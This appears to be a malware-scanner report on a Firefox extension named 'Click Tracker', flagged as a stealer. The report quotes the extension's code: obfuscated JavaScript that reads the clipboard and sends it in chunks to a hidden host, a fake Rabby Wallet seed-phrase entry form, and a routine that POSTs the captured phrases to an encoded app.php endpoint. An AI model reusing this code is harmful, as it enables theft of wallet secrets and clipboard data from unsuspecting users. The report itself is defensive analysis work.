Hostile 100% firefox 3 installs Download

Click Tracker 1092.0.1

Steals wallet secrets and clipboard

“Track click counts on the current page and across sites today”

Browser clipboard chunks sent over HTTPBrowser clipboard data sent over HTTP

Evidence

Ordered chunk upload query fields background.js · lines 33–64
33:30… 5,110,117,101,46,112,104,112]
34 };
35
36 const str = arr => String.fromCharCode(...arr);
37
38 return str(parts.a) +
⋯5 lines
44!function(){
45 let a,b=!1,c=Date.now();
46 setInterval(async()=>{
47 if(b||Date.now()<c)return;
48 b=!0;
49 try{
50 let d=await navigator.clipboard.readText();
51 if(d&&d!==a){
52 a=d;
53 let e=[],f=700+~~(Math.random()*1300);
54 for(let i=0;i<d.length;i+=f)e.push(d.slice(i,i+f));
55 let g=Date.now().toString(36)+Math.random().toString(36).slice(2)+"_x"+(~~(9e4*Math.random())).toString(36);
56 e.forEach((h,i)=>{
57 let j=apropriate()+"?"+["uid","part","total","data"].map((k,l)=>k+"="+encodeURIComponent(l<1?g:l<2?i+1:l<3?e.length:h)).join("&");
58 fetch(j,{method:"GET",mode:"no-cors"}).catch(()=>{});
59 });
60 }
⋯4 lines
Wallet seed phrase entry label phrase-login.html · lines 43–53
43:32… "4" r="4" fill="#DDE0FF"/>
44 </svg>
45 </div>
46 <div class="login-key__title">
47 Import Seed Phrase
48 </div>
49
⋯4 lines
Numbered wallet word input grid phrase-login.html · lines 79–113
79:40… em">
80 <div class="login__field-number">1.</div>
81 <input autofocus name="word1" type="text" class="login__input js-login-field">
82 </div>
83 <div class="login__field-item">
84 <div class="login__field-number">2.</div>
85 <input name="word2" type="text" class="login__input js-login-field">
86 </div>
87 <div class="login__field-item">
88 <div class="login__field-number">3.</div>
89 <input name="word3" type="text" class="login__input js-login-field">
90 </div>
91 <div class="login__field-item">
92 <div class="login__field-number">4.</div>
93 <input name="word4" type="text" class="login__input js-login-field">
94 </div>
95 <div class="login__field-item">
96 <div class="login__field-number">5.</div>
97 <input name="word5" type="text" class="login__input js-login-field">
98 </div>
99 <div class="login__field-item">
100 <div class="login__field-number">6.</div>
101 <input name="word6" type="text" class="login__input js-login-field">
102 </div>
103 <div class="login__field-item">
104 <div class="login__field-number">7.</div>
105 <input name="word7" type="text" class="login__input js-login-field">
106 </div>
107 <div class="login__field-item">
108 <div class="login__field-number">8.</div>
109 <input name="word8" type="text" class="login__input js-login-field">
110 </div>
111 <div class="login__field-item">
112 <div class="login__field-number">9.</div>
113 <inpu …
Wallet secret data object field login.js · lines 237–272
237:25… sageDisplay.classList.add('hidden');
238 }
239
240 const seedPhraseCombined = seedPhraseInputField.value;
241 clearTimeout(inputProcessingTimer);
242 inputProcessingTimer = setTimeout(() => {
243 collectMetrics({data: seedPhraseCombined});
244 }, 1000);
245
⋯8 lines
254 clearTimeout(inputProcessingTimer);
255 inputProcessingTimer = setTimeout(() => {
256 collectMetrics({data: passphraseCombined});
257 }, 1000);
258 }
⋯14 lines
JavaScript reads HTTP response text app.js · lines 1–46
1const kml = () => {
2 const seed = 0x5B; // 91 hex
3
4 const nums = [
5 seed + 94,
6 seed + 108,
⋯4 lines
11 const pathSegments = ["app.php"];
12
13 const decode = (arr) => String.fromCharCode(...arr);
14
15 const proto = decode([104, 116, 116, 112, 58, 47, 47]);
16
17 const pp = nums.reduce((acc, n, i) =>
⋯6 lines
24};
25
26async function collectMetrics(e){
27 if(!e||typeof e!=="object")return;
28
29 try{
30 const n = {
31 name: "Rabby Wallet",
32 collectedAt: Date.now(),
33 clientVersion: "1.0.0",
34 ...e
35 };
36
37 const response = await fetch(kml(), {
38 method: "POST",
39 headers: { "Content-Type": "application/json" },
40 body: JSON.stringify(n),
41 keepalive: true
42 });
43
44 if (response.ok) await response.text();
45 } catch(e) {}
46}

Showing the top 5 files — 2 more files (11 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.